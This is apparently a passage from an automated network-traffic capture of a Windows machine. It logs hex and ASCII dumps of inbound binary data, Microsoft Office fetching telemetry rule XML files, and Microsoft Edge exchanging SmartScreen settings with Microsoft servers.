2024-11-26 21:52:47 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-26 21:52:47 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-26 21:52:47 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-26 21:52:47 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-26 21:52:47 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-26 21:52:47 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:46 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215246Z-174f7845968xr5c2hC1EWRd0hn0000000csg00000000rsgs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:46 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:46 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:46 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215246Z-174f7845968psccphC1EWRuz9s0000000wc0000000000wq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:46 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:46 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:47 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:46 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215246Z-174f7845968glpgnhC1EWR7uec0000000w5000000000e969 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:47 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:47 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:47 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:47 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215247Z-174f784596886s2bhC1EWR743w0000000w0g00000000mau8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:47 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:47 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215247Z-174f7845968xlwnmhC1EWR0sv80000000vxg000000004za8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:48 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	49867	40.118.171.167	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:48 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiZ2JKYVNkSzAwUFFUT24wT1kxSjA4dz09IiwgImhhc2giOiJ2SGM5Rm1jQWVlRT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-26 21:52:48 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-26 21:52:49 UTC	302	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:49 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-26 21:52:49 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-26 21:52:49 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-26 21:52:50 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-26 21:52:50 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 